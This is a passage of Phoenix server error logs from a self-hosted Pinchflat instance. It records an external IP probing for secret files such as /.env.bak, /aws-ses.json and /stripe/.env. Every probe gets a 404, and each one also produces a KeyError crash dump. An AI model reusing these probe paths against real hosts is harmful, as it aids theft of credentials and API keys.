pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3177.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdSF733eW7NEAAPJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 10, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3177.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdSF733eW7NEAAPJB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {P (truncated) 23:35:16.837 [info] GET /aws-ses.json 23:35:16.838 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=235.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.839 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=236.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.839 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.839 [error] #PID<0.3178.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 11) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /aws-ses.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-ses (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-ses.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3178.0>, params: %{}, path_info: ["aws-ses"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws-ses.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdShsk-XaXKAAAPKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-ses.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws-ses (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws-ses.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 11, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3178.0>, params: %{}, path_info: ["aws-ses"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/aws-ses.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdShsk-XaXKAAAPKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, st (truncated) 23:35:16.972 [info] GET /.stripe/ 23:35:16.972 [debug] QUERY OK source="settings" db=0.2ms idle=250.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.972 [debug] QUERY OK source="settings" db=0.0ms idle=250.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:16.972 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:16.973 [error] #PID<0.3179.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 12) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.stripe/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.stripe/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3179.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.stripe/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdTB1MqzjeyEAAPLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.stripe/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.stripe/", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 12, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3179.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.stripe/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdTB1MqzjeyEAAPLB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 23:35:17.091 [info] GET /stripe/.env 23:35:17.091 [debug] QUERY OK source="settings" db=0.3ms idle=275.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.092 [debug] QUERY OK source="settings" db=0.1ms idle=253.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:35:17.092 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:35:17.092 [error] #PID<0.3180.0> running PinchflatWeb.Endpoint (connection #PID<0.3167.0>, stream id 13) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /stripe/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3180.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdTeN1HAUCsMAAPMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stripe/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3167.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stripe/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 46704}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.148.10.62", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3180.0>, params: %{}, path_info: ["stripe", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.148.10.62"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/stripe/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUcdTeN1HAUCsMAAPMB"} ], scheme: :http, script (truncated) 23:35:17.206 [info] GET /.env.aws 